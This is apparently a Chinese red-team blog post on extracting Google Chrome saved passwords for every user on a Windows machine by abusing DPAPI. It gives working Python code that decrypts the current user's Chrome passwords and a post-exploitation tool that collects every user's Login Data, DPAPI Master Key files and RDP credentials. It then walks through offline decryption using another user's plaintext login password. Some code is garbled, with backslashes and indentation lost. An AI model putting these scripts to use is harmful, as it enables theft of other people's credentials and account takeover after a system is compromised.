獲取當前系統所有用戶的谷歌瀏覽器密碼

  • 2019 年 10 月 6 日
  • 筆記

本文作者:ske(Ms08067紅隊小組成員)

0x01. 知識簡介

1. DPAPI:

全稱Data Protection Application Programming Interface

Windows系統的一個數據保護接口

主要用於保護加密的數據,常見的應用如:

Internet Explorer,Google Chrome中的密碼和表單  存儲無線連接密碼  遠程桌面連接密碼  Outlook,Windows Mail,Windows Mail等中的電子郵件帳戶密碼  內部FTP管理員帳戶密碼  共享文件夾和資源訪問密碼  Windows Credential Manager  Skype  Windows CardSpace  Windows Vault  EFS文件加密  

2. DPAPI blob:

一段密文,可使用Master Key對其解密

3. Master Key:

64位元組,用於解密DPAPI blob,使用用戶登錄密碼、SID和16位元組隨機數加密後保存在Master Key file中

4. Master Key file:

a. 二進制文件,可使用用戶登錄密碼對其解密,獲得Master Key

b. 分為兩種:

用戶Master Key file,位於%APPDATA%MicrosoftProtect%SID%   存儲用戶的登陸密碼  系統Master Key file,位於%WINDIR%System32MicrosoftProtectS-1-5-18User   存儲wifi等各種密碼  

c. 固定位置:

%APPDATA%MicrosoftProtect%SID%,該目錄下往往有多個Master Key file,這是為了安全起見,系統每隔90天會自動生成一個新的Master Key(舊的不會刪除)

5. Preferred文件:

位於Master Key file的同級目錄,顯示當前系統正在使用的MasterKey及其過期時間,默認90天有效期

0x02 在線解密當前用戶google瀏覽器下保存的密碼

# 在線獲取當前用戶google瀏覽器下保存的密碼  import os, sys  import shutil  import sqlite3  import win32crypt    db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'GoogleChromeUser DataDefaultLogin Data')  print(db_file_path)    # tmp_file = os.path.join(os.path.dirname(sys.executable), 'tmp_tmp_tmp')  tmp_file = './loginData'  print(tmp_file)  if os.path.exists(tmp_file):      os.remove(tmp_file)  shutil.copyfile(db_file_path, tmp_file)    conn = sqlite3.connect(tmp_file)  for row in conn.execute('select signon_realm,username_value,password_value from logins'):      try:          ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)          print('url:%-50s username:%-20s password:%s' % (row[0], row[1], ret[1].decode('gbk')))      except Exception as e:          print('url:%-50s get Chrome password Filed...' % row[0])          pass  conn.close()  os.remove(tmp_file)

0x03. 離線導出當前系統下另一用戶的Chrome密碼

使用工具Windows Password Recovery

解密需要獲得三部分內容:

  • 加密密鑰(即Master Key file),位於%appdata%MicrosoftProtect下對應sid文件夾下的文件
  • 數據庫文件Login Data
  • 用戶明文的密碼,用於解密加密密鑰

環境模擬:

環境:一台windows10機器,裏面裝有谷歌瀏覽器,用戶有administrator和test等等其他用戶

目的:當我們拿到shell後,當前用戶是administrator,我們想要獲取test等其他用戶在當前系統保存的谷歌瀏覽器密碼。

前提條件:需要知道test賬戶的明文密碼,可以通過導註冊表方法獲取test的明文密碼

工具:py編譯後的exe工具

filepack.exe執行後會獲取 1. 所有用戶谷歌瀏覽器的Login Data文件 2. 獲取所有用戶的master key file 3. 獲取所有用戶的rdp保存憑證(該文件用來破解RDP,此處無用)

如下圖是filepack.exe執行的結果,會在當前目錄生成三個壓縮文件

goole.zip是所有用戶谷歌瀏覽器的Login Data壓縮包 protect.zip是所有用戶的master key file壓縮包 rdp.zip是所有用戶的rdp保存憑證壓縮包

“`

filepack源碼

獲取目標服務器的重要文件

– coding:utf-8 –

import os import shutil import sqlite3 import win32crypt

users_dir = os.environ['userprofile'].rsplit('', 1)[0] # 獲取users目錄的路徑

def searchlogindata(path, name): for root, dirs, files in os.walk(path): if name in files: root = str(root) logindatapath = root + '' + name return logindatapath

獲取所有用戶的谷歌的Login Data文件

def logindata(): print('-' * 50 + 'n' + r'[2] Get all users Google login data files:') name = 'Login Data' for username in os.listdir(usersdir): Googledir = usersdir + '' + username + r'AppDataLocalGoogle' logindatapath = searchlogindata(Googledir, name) if logindatapath: try: os.makedirs('./google') except Exception as e: pass dst = './google/{}logindata'.format(username) shutil.copyfile(logindatapath, dst) print('copy [{}] '.format(logindatapath)) logindatapath = ''

if os.path.isdir('google'):      shutil.make_archive("./google", 'zip', root_dir='./google')      print('[+] success! google.zip save to {}pgoogle.zip'.format(os.getcwd()))      shutil.rmtree('./google')  

獲取所有用戶的master key file

def masterkey(): print('-' * 50 + 'n' + r'[3] Get the master key file for all users:') for username in os.listdir(usersdir): Protectdir = usersdir + '' + username + r'AppDataRoamingMicrosoftProtect' if os.path.isdir(Protectdir): shutil.makearchive("./protect/{}protect".format(username), 'zip', rootdir=Protectdir) # 每個用戶的protect壓縮為usernameprotect.zip print('copy [{}]'.format(Protectdir))

if os.path.isdir('protect'):      shutil.make_archive("./protect", 'zip', root_dir='./protect')      print('[+] success! protect.zip save to {}protect.zip'.format(os.getcwd()))      shutil.rmtree('./protect')  

獲取所有用戶的rdp保存憑證

def rdp(): print('-' * 50 + 'n' + r'[4] Get RDP save credentials for all users:') for username in os.listdir(usersdir): RDPdir = usersdir + '' + username + r'AppDataLocalMicrosoftCredentials' if os.path.isdir(RDPdir): shutil.makearchive("./rdp/{}rdp".format(username), 'zip', rootdir=RDPdir) print('copy [{}]'.format(RDPdir))

if os.path.isdir('./rdp'):      shutil.make_archive("./rdp", 'zip', root_dir='./rdp')      print(r'[+] success! rdp.zip save to {}rdp.zip'.format(os.getcwd()))      shutil.rmtree('./rdp')  

logindata() masterkey() rdp() “`

readlogindata.exe用來讀取谷歌瀏覽器的鏈接,用戶名和密碼(密碼需要解密)。

獲取當前系統所有用戶谷歌瀏覽器的密碼

– coding:utf-8 –

import sqlite3 import sys import os

try: os.makedirs('./password') except Exception as e: pass

LoginDatafile = sys.argv[1] # Login Data文件名

conn = sqlite3.connect(LoginDatafile) cursor = conn.cursor() cursor.execute('SELECT actionurl, usernamevalue, passwordvalue FROM logins') for each in cursor.fetchall(): url, username, password = each print('[{}] [username:{}] [password:需要解密]'.format(url, username)) with open('./password/{}password.txt'.format(username), 'ab') as f1, open('./password/urluserpwd.txt', 'at') as f2: f1.write(each[2]) f2.writelines('url: {}nusername: {}npassword: n{}n'.format(url, username, '-'*50))

“`

下圖是保存所有用戶谷歌瀏覽器的Login Data壓縮包,login_data前綴是用戶名,比如是administrator和test用戶

下圖是保存所有用戶的master key file壓縮包,protect前綴是用戶名,比如是administrator和test和fskldfn用戶

將壓縮包解壓後,使用readloigndata.exe去讀取login data文件。

此處以test用戶舉例

此處是將test用戶的谷歌瀏覽器內容讀取出來。

因為不是當前用戶,所以密碼是密文需要解密。密文密碼保存在當前目錄的password目錄下

_password.txt前綴是谷歌瀏覽器每個鏈接的用戶名

urluserpwd.txt是谷歌瀏覽器所有保存的鏈接、賬號、密碼。

接下來使用wpr工具解密每個_password.txt,下載地址:

https://www.passcape.com/index.php?section=downloads&category=28  

選擇Utils -> DPAPI Decoder and Analyser -> Decrypt DPAPI data blob

設置DPAPI blob file指向上述步驟生成的test用戶的txt文件,然後點擊下一步

設置Master Key File 指向test用戶的master key

選擇是

輸入test用戶的明文,點擊下一步,選擇確定

成功讀取到密碼,該密碼就是下面鏈接對應的密碼。 url: http://192.168.1.3/DVWA-master/login.php username: admin password:

同理可以去讀取root賬號對應的密碼!

來源:Ms08067安全實驗室